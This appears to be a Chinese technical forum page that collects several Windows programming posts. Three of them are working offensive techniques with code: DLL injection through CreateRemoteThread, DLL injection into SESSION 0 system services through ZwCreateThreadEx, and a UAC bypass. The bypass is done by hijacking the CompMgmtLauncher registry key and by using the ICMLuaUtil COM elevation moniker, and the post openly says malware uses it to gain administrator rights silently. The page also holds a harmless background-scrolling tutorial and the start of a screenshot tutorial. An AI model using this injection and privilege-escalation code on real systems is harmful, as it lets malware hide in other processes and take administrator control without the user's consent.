DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);#else typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);#endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread"); return FALSE; } // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { ShowError("ZwCreateThreadEx"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll); return TRUE;}
    程序测试我们对 svchost.exe 进程,处于 SESSION 0 中,以管理员权限运行我们的程序,注入我们的测试 DLL,DLL 成功注入到 svchost.exe 进程空间中:

    总结要注意以管理员权限运行程序,因为由于 OpenProcess 函数的缘故,打开高权限的进程时,会因进程权限不足而无法打开进程,获取进程句柄。其中,我们将当前进程令牌权限提升至 SE_DEBUG_NAME权限,具体的进程令牌权限提升可以参考 “使用AdjustTokenPrivileges函数提升进程访问令牌的权限“ 这篇文章。
    与传统的 CreateRemoteThread 相比,就是创建远线程时使用的函数不同之外,其它都是相同的,而且原理部分也是相同的。
    其中,要特别注意一点就是,ZwCreateThreadEx 函数在 32 位和 64 位系统下,它的函数声明中的参数是有区别的,一定要区分开来。
    参考参考自《Windows黑客编程技术详解》一书
    9 回答 2019-01-12 20:44:42
  • 传统的远线程注入DLL技术剖析

    背景想必很多人应该都听说过远线程注入DLL技术这个概念,的确,这是一个很巧妙,也很经典的DLL注入技术。为何说是巧妙,等你看完这篇文章就了解了。
    本文讲解的是传统的远线程注入方法,也就是使用 CreateRemoteThread 函数实现的。那么,之所以说是传统,是因为在讲完传统的远线程注入方法后,我们会介绍目前最新的远线程注入方式,注入功能比传统的还要强大。
    现在,我就先讲解传统的远线程注入,把实现过程和原理整理成文档,分享给大家。
    函数介绍OpenProcess 函数
    打开现有的本地进程对象。
    函数声明
    HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId);
    参数

    dwDesiredAccess [in]访问进程对象。此访问权限针对进程的安全描述符进行检查。此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容如何,都会授予所请求的访问权限。bInheritHandle [in]若此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。dwProcessId [in]要打开的本地进程的标识符。如果指定的进程是系统进程(0x00000000),则该函数失败,最后一个错误代码为ERROR_INVALID_PARAMETER。如果指定的进程是空闲进程或CSRSS进程之一,则此功能将失败,并且最后一个错误代码为ERROR_ACCESS_DENIED,因为它们的访问限制会阻止用户级代码打开它们。如果您使用GetCurrentProcessId作为此函数的参数,请考虑使用GetCurrentProcess而不是OpenProcess,以提高性能。
    返回值

    如果函数成功,则返回值是指定进程的打开句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    VirtualAllocEx 函数
    在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。 该函数初始化其分配给零的内存。
    函数声明
    LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
    参数

    hProcess [in]过程的句柄。该函数在该进程的虚拟地址空间内分配内存。句柄必须具有PROCESS_VM_OPERATION权限。有关更多信息,请参阅流程安全和访问权限。
    lpAddress [in]指定要分配的页面的所需起始地址的指针。如果您正在保留内存,则该函数会将该地址舍入到分配粒度的最接近的倍数。如果您提交已经保留的内存,该功能会将该地址舍入到最接近的页面边界。要确定页面的大小和主机上的分配粒度,请使用GetSystemInfo函数。如果lpAddress为NULL,则该函数确定在哪里分配该区域。
    dwSize [in]要分配的内存大小,以字节为单位。如果lpAddress为NULL,则函数将dwSize循环到下一个页面边界。如果lpAddress不为NULL,则该函数将从lpAddress到lpAddress + dwSize的范围内分配包含一个或多个字节的所有页面。这意味着,例如,跨越页面边界的2字节范围会导致功能分配两个页面。
    flAllocationType [in]内存分配类型。此参数必须包含以下值之一:




    VALUE
    MEANING




    MEM_COMMIT
    为指定的预留内存页分配内存费用(从磁盘上的内存和分页文件的总体大小)。 该函数还保证当调用者稍后初次访问存储器时,内容将为零。 除非/直到虚拟地址被实际访问,实际的物理页面才被分配


    MEM_RESERVE
    保留进程的虚拟地址空间的范围,而不会在内存或磁盘上的分页文件中分配任何实际物理存储


    MEM_RESET
    表示由lpAddress和dwSize指定的内存范围内的数据不再受关注。 页面不应从页面文件中读取或写入页面文件。 然而,内存块将在以后再次被使用,所以不应该被分解。 该值不能与任何其他值一起使用


    MEM_RESET_UNDO
    只能在早期成功应用了MEM_RESET的地址范围上调用MEM_RESET_UNDO。 它指示由lpAddress和dwSize指定的指定内存范围内的数据对呼叫者感兴趣,并尝试反转MEM_RESET的影响。 如果功能成功,则表示指定地址范围内的所有数据都是完整的。 如果功能失败,地址范围中的至少一些数据已被替换为零




    flProtect [in]要分配的页面区域的内存保护。 如果页面被提交,您可以指定任何一个内存保护常量。如果lpAddress指定了一个地址,flProtect不能是以下值之一:PAGE_NOACCESSPAGE_GUARDPAGE_NOCACHEPAGE_WRITECOMBINE
    返回值

    如果函数成功,则返回值是分配的页面区域的基址。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    WriteProcessMemory 函数
    在指定的进程中将数据写入内存区域。 要写入的整个区域必须可访问或操作失败。
    函数声明
    BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten);
    参数

    hProcess [in]要修改的进程内存的句柄。 句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问进程。lpBaseAddress [in]指向写入数据的指定进程中的基地址的指针。 在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可访问,则该函数将失败。lpBuffer [in]指向缓冲区的指针,其中包含要写入指定进程的地址空间的数据。nSize [in]要写入指定进程的字节数。lpNumberOfBytesWritten [out]指向变量的指针,该变量接收传输到指定进程的字节数。 此参数是可选的。 如果lpNumberOfBytesWritten为NULL,则忽略该参数。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为0(零)。 要获取扩展错误信息,请调用GetLastError。

    CreateRemoteThread 函数
    创建在另一个进程的虚拟地址空间中运行的线程。使用CreateRemoteThreadEx函数创建在另一个进程的虚拟地址空间中运行的线程,并可选地指定扩展属性。
    函数声明
    HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
    参数

    hProcess [in]要创建线程的进程的句柄。 句柄必须具有PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE和PROCESS_VM_READ访问权限,如果某些平台上没有这些权限,可能会失败。 有关更多信息,请参阅流程安全和访问权限。lpThreadAttributes [in]指向SECURITY_ATTRIBUTES结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。 如果lpThreadAttributes为NULL,则线程将获得默认安全描述符,并且该句柄不能被继承。 线程的默认安全描述符中的访问控制列表(ACL)来自创建者的主令牌。dwStackSize [in]堆栈的初始大小,以字节为单位。 系统将此值循环到最近的页面。 如果此参数为0(零),则新线程使用可执行文件的默认大小。 有关更多信息,请参阅线程堆栈大小。lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序定义函数的指针,并表示远程进程中线程的起始地址。 该功能必须存在于远程进程中。 有关更多信息,请参阅ThreadProc。lpParameter [in]指向要传递给线程函数的变量的指针。dwCreationFlags [in]控制线程创建的标志。若是 0,则表示线程在创建后立即运行。lpThreadId [out]指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符。
    返回值

    如果函数成功,则返回值是新线程的句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    实现原理远线程注入 DLL 中的远线程,是因为使用的关键函数是 CreateRemoteThread,来在其它的进程空间中创建一个线程。那么,它为何能够使其它进程加载一个 DLL,实现 DLL 注入呢?接下来我就为大家一一分析。
    首先,我们加载一个 DLL,通常使用 LoadLibrary 函数来实现 DLL 的动态加载。那么,先来看下 LoadLibrary 函数的声明:
    HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName);
    从上面的函数声明可以知道,LoadLibrary 函数的参数只有一个,传递的是要加载的 DLL 的路径字符串。
    然后,我们再看下创建远线程的函数 CreateRemoteThread 的函数声明:
    HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
    我们可以从声明中知道,CreateRemoteThread 需要传递的是目标进程空间的多线程函数地址,以及多线程的参数。
    接下来,我们将上述两者结合,开始大胆设想一下,如果,我们能够获取目标进程的 LoadLibrary 函数的地址,而且还能够获取目标进程空间中某个 DLL 路径的字符串地址,那么,将LoadLibrary 函数的地址作为多线程函数的地址,某个 DLL 路径字符串作为多线程函数的参数,传递给 CreateRemoteThread 函数在目标进程空间创建一个多线程,这样能不能创建成功呢?答案是可以的。这样,就可以在目标进程空间中创建一个多线程,这个多线程就是 LoadLibrary 函数加载 DLL。
    那么,这样远线程注入的原理大概就了解了吧。那么要实现远线程注入 DLL,还需要解决以下两个问题:一是目标进程空间的 LoadLibrary 函数地址是多少呢?二是如何向目标进程空间中写入 DLL 路径字符串数据呢?
    对于第一个问题,我们知道由于机制随机化ASLR(Address space layout randomization),导致每次开机时加载的系统 DLL 的加载基址都不一样,从而导致了 DLL 的导出函数的地址也都不一样。即使如此,但要注意一个关键的一个知识点就是:

    有些系统DLL中的指令是Position dependent的,要求所有进程中必须一致。比如kernel32中的新线程入口,ntdll中的异常处理入口等。其实这个地址只是要求系统启动之后必须固定,如果系统重新启动,其地址可以不同。
    Copy-On-Write机制,不改多进程共享,改写内容的页系统会立即给当前进程复制一份,这样这个地址与其它进程中相同地址所映射的物理内存就不同了,怎么改都不会影响其它进程。

    也就是说,虽然不同进程,但是其 Kernel32.dll 的加载基址是相同的,也就是说,自己程序空间的 LoadLibrary 函数地址和其它进程空间的 LoadLibrary 函数地址相同。
    对于第二个问题,我们可以直接调用 VirtualAllocEx 函数在目标进程空间中申请一块内存,然后再调用 WriteProcessMemory 函数将指定的 DLL 路径写入到目标进程空间中。
    这样,我们就可以调用 CreateRemoteThread 函数,实现远线程注入DLL了。
    编码实现// 使用 CreateRemoteThread 实现远线程注入BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName){ HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); return TRUE;}
    程序测试我们对 520.exe 进程注入我们的测试 DLL,DLL 成功注入到 520.exe 进程空间中:


    总结要注意以管理员权限运行程序,因为由于 OpenProcess 函数的缘故,打开高权限的进程时,会因进程权限不足而无法打开进程,获取进程句柄。其中,我们将当前进程令牌权限提升至 SE_DEBUG_NAME权限,具体的进程令牌权限提升可以参考 “使用AdjustTokenPrivileges函数提升进程访问令牌的权限“ 这篇文章。
    这个是传统的远线程注入 DLL 方法,有一个问题就是,不能成功注入到一些系统服务进程,因为系统存在 SESSION 0 隔离。接下来,就继续讲解突破 SESSION 0 隔离的远线程注入,成功向系统服务进程注入 DLL。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-12 09:21:05
  • 图片显示特效之背景循环滚动

    背景大家玩游戏的时候,特别是横板游戏,应该会注意到,角色移动的时候,背景是会不停的变化的。如果游戏地图很大的话,可能背景不会重复,但是,如果游戏地图很小的话,大家应该会发现地图会循环显示。背景的循环显示,可以帮助节约游戏的图片资源,同时也可以增加游戏的趣味性。
    那么,本文想要介绍的就是背景图片的循环滚动的实现原理和过程。之前,自己写的小游戏也常使用到这个技术,现在,就把学习的心得写成文档,分享给大家。
    实现原理为了方便大家理解背景的单向循环滚动的原理,我就详细分析一个简单的实例。首先,我们先来看下面这张图片,这张图片被均匀分成:红、绿、蓝三个部分。

    那么,如果要实现它单向循环滚动的话,就应该每次循环都要“移花接木”般地绘图。意思是说,如果,图片向左单向滚动的话,那就每次循环,都要把左边一小部分的图片,移到图片末尾,然后再统一显示。每次循环都如此,这样就实现了背景的单向循环滚动。
    就以上面的图片为例子,首先第 1 次循环,我们看到的效果是这样的:

    第 2 次循环,我们把左边一小部分,目前是红色部分移到图片末尾,再显示出来,图片效果是:

    第 3 次循环,我们仍然是把把左边一小部分,目前是绿色部分移到图片末尾,再显示出来,图片效果是:

    再往下循环,那么大家应该可以看到规律了吧,图片重复了,又开始从头开始进行操作循环显示了。图片还是这一张图片,但是,我们把“移花接木”地显示,每次把左边的一小部分画面,都放到图片末尾来绘制,就能实现动态的效果。
    编程实现 int iWidth = 640; // 图片宽度 int iHeight = 480; // 图片高度 int iWidthRecord = 0; // 移动宽度记录 int m = 10; // 每次循环移动宽度 while (TRUE) { // 背景单向循环滚动 WindowShadesPaint(hWnd, iWidthRecord); // 更新绘制宽度 iWidthRecord = (iWidthRecord + m) % iWidth; // 停顿一下 Sleep(50); }
    // 背景单向循环滚动BOOL WindowShadesPaint(HWND hWnd, int iWidthRecord){ // 获取窗口的客户区域的显示设备上下文环境的句柄 HDC hDC = ::GetDC(hWnd); // 创建一个与hDC兼容的内存设备上下文环境 HDC hBuf = ::CreateCompatibleDC(hDC); // 加载位图, 获取位图句柄 HBITMAP hBmp = (HBITMAP)::LoadImage(NULL, "test.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); // 选择位图句柄到hBuf中, 并获取返回的原来位图句柄 HBITMAP hOldBmp = (HBITMAP)::SelectObject(hBuf, hBmp); // 背景单向循环滚动 int iWidth = 640; // 图片宽度 int iHeight = 480; // 图片高度 // 绘制左边部分 ::BitBlt(hDC, 0, 0, (iWidth-iWidthRecord), iHeight, hBuf, iWidthRecord, 0, SRCCOPY); // 绘制右边部分 ::BitBlt(hDC, (iWidth - iWidthRecord), 0, iWidthRecord, iHeight, hBuf, 0, 0, SRCCOPY); // 还原位图对象 ::SelectObject(hBuf, hOldBmp); // 释放位图 ::DeleteObject(hBmp); // 释放兼容的内存设备上下文环境 ::DeleteDC(hBuf); // 释放设备上下文环境 ::ReleaseDC(hWnd, hDC); return TRUE;}
    程序测试我们呢就直接运行程序,直接可以看到图片在单向的循环滚动显示。由于画面是动态的,所以,我就截几张代表性的图片作为展示。



    总结类似的实现原理,如果之前你们有接触过,可以先把程序实现出来,然后,一边运行程序,看着实现效果对应实现原理去理解比较好。
    其中,要注意的是,因为这个图片显示,是一直循环显示的,所以,如果显示图片的这段代码放在窗口主线程的话,窗口会一直被卡住,所以,建议这段显示部分的代码,创建一个多线程,把它放在多线程中显示,这样就不会影响主线程的操作了。
    1 回答 2019-01-09 12:16:55
  • Bypass UAC 提权小结

    背景UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
    UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。
    在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
    所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。接下来,分别介绍这两种Bypass UAC的实现方法。
    6.2.1 基于白名单程序Bypass UAC有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
    接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。
    实现过程首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中数据,发现该路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command\(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。

    在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如图6-2所示。

    查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\Software\Classes\mscfile\shell\open\command\(Default)注册表路径中的数据并启动,如图6-3所示。

    所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。
    那么,基于CompMgmtLauncher.exe白名单程序Bypass UAC具体实现代码如下所示。
    // 修改注册表BOOL SetReg(char *lpszExePath){ HKEY hKey = NULL; // 创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); if (NULL == hKey) { ShowError("RegCreateKeyEx"); return FALSE; } // 设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath))); // 关闭注册表 ::RegCloseKey(hKey); return TRUE;}
    测试直接运行上述程序,向注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default)中写入cmd.exe的路径,启动cmd.exe进程。cmd.exe成功启动,窗口标题显示管理员字样,如图6-4所示。

    6.2.2 基于COM组件接口Bypass UACCOM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
    使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。
    那么,COM提升名称具体的实现代码如下所示。
    HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){ BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr;}
    执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
    那么,基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。
    BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable){ HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; }while(FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet;}
    要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。
    其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
    // 导出函数给rundll32.exe调用执行void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)测试将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,如图6-5所示。

    小结对于上述基于白名单程序实现Bypass UAC的程序编译为32位程序,测试环境运行在64位Windows 10系统上。当32位程序访问64位的System32文件目录的时候,会出现文件重定向,可以调用Wow64DisableWow64FsRedirection和Wow64RevertWow64FsRedirection函数来关闭和恢复文件重定向。而且,32位在操作64位系统的注册表的时候,也会出现注册表重定向的情况,可以在调用RegCreateKeyEx函数打开注册表的时候,设置KEY_WOW64_64KEY注册表访问权限,以确保能正确访问64位下的注册表,不被注册表重定向。
    对于上述基于COM组件接口技术实现Bypass UAC的程序编译为DLL项目工程,通过被可信程序类似rundll32.exe加载调用方可不弹窗Bypass UAC。调用COM函数之前,一定要先调用CoInitialize函数来初始化COM环境,否则调用COM接口函数失败。
    实现Bypass UAC的方法很多,并不局限于白名单程序和COM接口技术。不同的Bypass UAC方法,其具体的实现过程大都不一样。随着操作系统的升级更新,现在Bypass UAC成功的方法,可能在以后不再适用,但,也会有新的Bypass UAC的方法出现,攻与防是相互博弈的过程。
    对这方面技术感兴趣的读者,可以到GITHUB开源平台上搜索UACME的开源项目,里面收集了很多关于Bypass UAC的方法。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-08 08:35:42
  • 包含鼠标位置的屏幕截屏并保存为图片文件

    背景在开发自己的专属程序“恶魔的结界”的时候,里面就有一个功能,实现屏幕的截屏,而且是包含鼠标位置的截屏。因为,通常情况下,我们看到的截屏都是没有显示鼠标的截屏,这次我们需要实现显示鼠标的截屏。而且,保存为本地的图片文件。
    现在,我就把这个小程序的实现过程和实现原理写成文档,分享给大家。
    函数介绍GetDesktopWindow 函数
    该函数返回桌面窗口的句柄。桌面窗口覆盖整个屏幕。桌面窗口是一个要在其上绘制所有的图标和其他窗口的区域。
    函数声明
    HWND WINAPI GetDesktopWindow(void);
    参数

    无参数。
    返回值

    返回桌面窗口的句柄。

    GetDC 函数
    该函数检索一指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄,以后可以在GDI函数中使用该句柄来在设备上下文环境中绘图。
    函数声明
    HDC GetDC( HWND hWnd);
    参数

    hWnd:设备上下文环境被检索的窗口的句柄,如果该值为NULL,GetDC则检索整个屏幕的设备上下文环境。
    返回值

    若执行成功,则返回指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄;若执行失败,则返回NULL。

    CreateCompatibleDC 函数
    该函数创建一个与指定设备兼容的内存设备上下文环境(DC)。
    函数声明
    HDC CreateCompatibleDC( HDC hdc );
    参数

    hdc:现有设备上下文环境的句柄,如果该句柄为NULL,该函数创建一个与应用程序的当前显示器兼容的内存设备上下文环境。
    返回值

    如果成功,则返回内存设备上下文环境的句柄;如果失败,则返回值为NULL。

    CreateCompatibleBitmap 函数
    创建与与指定设备上下文关联的设备兼容的位图。
    函数声明
    HBITMAP CreateCompatibleBitmap( _In_ HDC hdc, _In_ int nWidth, _In_ int nHeight);
    参数

    hdc [in]设备上下文的句柄。nWidth [in]位图宽度,以像素为单位。nHeight [in]位图高度,以像素为单位。
    返回值

    如果函数成功,则返回值是兼容位图(DDB)的句柄。如果函数失败,返回值为NULL。

    SelectObject 函数
    该函数选择一对象到指定的设备上下文环境中,该新对象替换先前的相同类型的对象。
    函数声明
    HGDIOBJ SelectObject( HDC hdc, HGDIOBJ hgdiobj );
    参数

    hdc:设备上下文环境的句柄。hgdiobj:被选择的对象的句柄,该指定对象必须由如下的函数创建。
    返回值

    如果选择对象不是区域并且函数执行成功,那么返回值是被取代的对象的句柄;如果选择对象是区域并且函数执行成功,返回如下一值:
    ​ SIMPLEREGION:区域由单个矩形组成;
    ​ COMPLEXREGION:区域由多个矩形组成;
    ​ NULLREGION:区域为空。
    如果发生错误并且选择对象不是一个区域,那么返回值为NULL,否则返回HGDI_ERROR。


    BitBlt 函数
    对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。
    函数声明
